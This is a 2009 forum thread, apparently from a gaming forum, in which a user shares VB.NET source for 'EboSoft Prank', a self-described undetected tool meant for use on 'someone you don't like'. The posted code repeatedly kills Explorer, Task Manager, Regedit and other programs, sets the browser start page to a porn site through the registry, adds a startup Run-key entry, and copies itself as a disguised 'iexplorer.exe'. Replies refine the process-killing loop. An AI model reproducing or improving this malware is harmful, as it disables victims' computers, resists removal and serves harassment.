[VB.NET] Undetected "virus", EboSoft Prank menu

Shout-Out

User Tag List

Results 1 to 11 of 11
  1. #1
    Ebonesser's Avatar Member
    Reputation
    33
    Join Date
    Mar 2009
    Posts
    123
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)

    [VB.NET] Undetected "virus", EboSoft Prank

    VB.NET Source of EboSoft Prank

    EboSoft Prank is a really annoying tool that you can use on someone you don't like or just to spread horror among people over the internet.
    Some people would call it a virus because it makes most of the computer's processes to not work, but it's not a virus. It only terminates the processes of programs.
    EboSoft Prank terminates these programs/processes over and over again:

    *Explorer
    *Internet Explorer
    *Mozilla Firefox
    *Windows Live Messenger
    *Steam
    *Spotify
    *uTorrent
    *Skype
    *Microsoft Word
    *Taskmanager
    *Yahoo Messenger
    *World of Warcraft
    *Regedit


    You can add processes that should be terminated by adding, for example:
    Try
    If Strings.UCase(local(i).ProcessName) = Strings.UCase("THE PROCESS OF THE PROGRAM") Then
    local(i).Kill()
    End If
    Catch
    GoTo O '<-------- A letter that has not already been taken.
    Finally
    End Try

    O:
    after, for example:
    Try
    If Strings.UCase(local(i).ProcessName) = Strings.UCase("regedt32") Then
    local(i).Kill()
    End If
    Catch
    GoTo r
    Finally
    End Try

    r:
    *EboSoft Prank will change the start page to "Pornhub.com" for your default browser and Internet Explorer.

    You can change the desired webpage by changing:
    Dim Act2 : Act2 = CreateObject("Wscript.Shell")
    Dim Key2 : Key2 = "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main"
    Act2.RegWrite(Key & "\Start Page", "THE WEBSITE YOU DESIRE", "REG_SZ")

    Dim Act3 : Act3 = CreateObject("Wscript.Shell")
    Dim Key3 : Key3 = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
    Act3.RegWrite(Key3 & "\Start Page", "THE WEBSITE YOU DESIRE", "REG_SZ")
    *EboSoft Prank will automatically start everytime you turn on your computer and it also makes a copy of it in "C:\Preference32" with the name "iexplorer.exe" so that it can be run over and over again even if the victim deletes the first one.

    You can change the place the program will copy itself to by changing it here:
    Dim path As String = "C:\Preference32"
    Try
    Directory.CreateDirectory(path)
    Catch
    End Try

    If you want to change the name of the file you would have to change it here:

    If File.Exists(path & "/iexplorer.exe") Then
    GoTo C
    Else
    Try
    File.Copy(Application.StartupPath & "/NAME OF YOUR DESIRED NAME OF THE PROGRAM.exe", path & "/iexplorer.exe")
    Catch
    End Try
    End If
    *You can't use Taskmanager to close EboSoft Prank because the process always get terminated before you have the time to terminate EboSoft Prank.

    There is a "cure" against this (Cure for EboSoft Prank.exe)
    but you'll have to open it BEFORE you start EboSoft Prank because you won't be able to open it otherwise.
    But when you're trying EboSoft in Visual Basic, you'll be able to stop the debugg without the cure

    Here's the download link:

    Filebeam - Beam up that File Scottie!
    Last edited by Ebonesser; 11-06-2009 at 06:48 PM.

    [VB.NET] Undetected &quot;virus&quot;, EboSoft Prank
  2. #2
    Cypher's Avatar Kynox's Sister's Pimp
    Reputation
    1358
    Join Date
    Apr 2006
    Posts
    5,368
    Thanks G/R
    0/6
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Failure. That is all.

  3. #3
    ReidE96's Avatar Archer Authenticator enabled
    Reputation
    470
    Join Date
    Dec 2006
    Posts
    1,625
    Thanks G/R
    1/1
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    GoTo? GOTO?! RAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWR!

  4. #4
    Ebonesser's Avatar Member
    Reputation
    33
    Join Date
    Mar 2009
    Posts
    123
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Lol...
    I'm not pro xD
    It's the second vb-program I've done ^^,
    "There are better ways to do this" and you explain how or a tip would be much better

  5. #5
    ReidE96's Avatar Archer Authenticator enabled
    Reputation
    470
    Join Date
    Dec 2006
    Posts
    1,625
    Thanks G/R
    1/1
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Instead of
    Code:
    Try
        If Strings.UCase(local(i).ProcessName) = Strings.UCase("regedt32") Then
            local(i).Kill()
        End If
    Catch
        GoTo r
    Finally
    End Try
     
    r:
    do
    Code:
    Try
        If Strings.UCase(local(i).ProcessName) = Strings.UCase("regedt32") Then local(i).Kill()
    Catch ex As Exception
    End Try
    Other one.
    Code:
    If File.Exists(path & "/iexplorer.exe") Then
                     GoTo C
            Else
                    Try
            File.Copy(Application.StartupPath & "/NAME OF YOUR DESIRED NAME OF THE PROGRAM.exe", path & "/iexplorer.exe")
        Catch
        End Try
    End If
    do
    Code:
    If Not File.Exists(path & "/iexplorer.exe") Then
        Try
            File.Copy(Application.StartupPath & "/NAME OF YOUR DESIRED NAME OF THE PROGRAM.exe", path & "/iexplorer.exe")
        Catch ex as Exception
        End Try
    End If
    Last edited by ReidE96; 11-07-2009 at 01:29 PM.

  6. #6
    Ebonesser's Avatar Member
    Reputation
    33
    Join Date
    Mar 2009
    Posts
    123
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Oh, yea. I didn't think that I could make it "ex as Exception" instead of "GoTo", because in the beginning I only had the Try part but without Try and Catch so it sometime failed so I added the Try and Catch but didn't take away GoTo ^^, My bad

    See, wasn't that better?

  7. #7
    ReidE96's Avatar Archer Authenticator enabled
    Reputation
    470
    Join Date
    Dec 2006
    Posts
    1,625
    Thanks G/R
    1/1
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Definitely not better. It involved effort on my part! :P

  8. #8
    Iaccidentallytwink's Avatar Elite User
    Reputation
    591
    Join Date
    Aug 2007
    Posts
    1,020
    Thanks G/R
    1/16
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Cypher's been going hard with his Flamethrower lately.

  9. #9
    Apoc's Avatar Angry Penguin
    Reputation
    1388
    Join Date
    Jan 2008
    Posts
    2,750
    Thanks G/R
    0/13
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    So... why not use a list/array of strings and just iterate the current process list matching those strings...?

    Code:
    Private Sub KillProcs()
        Dim procsToKill As String() = New String() {"regedit", "iexplore", "spotify", "etc"}
        For Each p As Process In Process.GetProcesses
            For Each procName As String In procsToKill
                If p.Name.ToLower().Contains(procName) Then
                    p.Kill()
                End If
            Next
        Next
    End Sub

  10. #10
    ReidE96's Avatar Archer Authenticator enabled
    Reputation
    470
    Join Date
    Dec 2006
    Posts
    1,625
    Thanks G/R
    1/1
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Because, Apawk, that would be the cool way to do it.

  11. #11
    Ebonesser's Avatar Member
    Reputation
    33
    Join Date
    Mar 2009
    Posts
    123
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Thanks for the advice Apoc.
    I'll use it in future projects

Similar Threads

  1. Quotes from Steven Write
    By Amedis in forum Community Chat
    Replies: 2
    Last Post: 11-14-2022, 10:26 AM
  2. [Selling] Wanted input for quote on my battle net account.
    By dxp1992 in forum WoW-US Account Buy Sell Trade
    Replies: 0
    Last Post: 04-08-2014, 08:58 PM
  3. Undetected "virus", EboSoft Prank
    By Ebonesser in forum Community Chat
    Replies: 22
    Last Post: 11-29-2009, 11:35 PM
  4. Funny GM quotes
    By shadowfox47 in forum World of Warcraft General
    Replies: 9
    Last Post: 08-13-2007, 07:24 PM
All times are GMT -5. The time now is 08:38 AM. Powered by vBulletin® Version 4.2.3
Copyright © 2025 vBulletin Solutions, Inc. All rights reserved. User Alert System provided by Advanced User Tagging (Pro) - vBulletin Mods & Addons Copyright © 2025 DragonByte Technologies Ltd.
Google Authenticator verification provided by Two-Factor Authentication (Free) - vBulletin Mods & Addons Copyright © 2025 DragonByte Technologies Ltd.
Digital Point modules: Sphinx-based search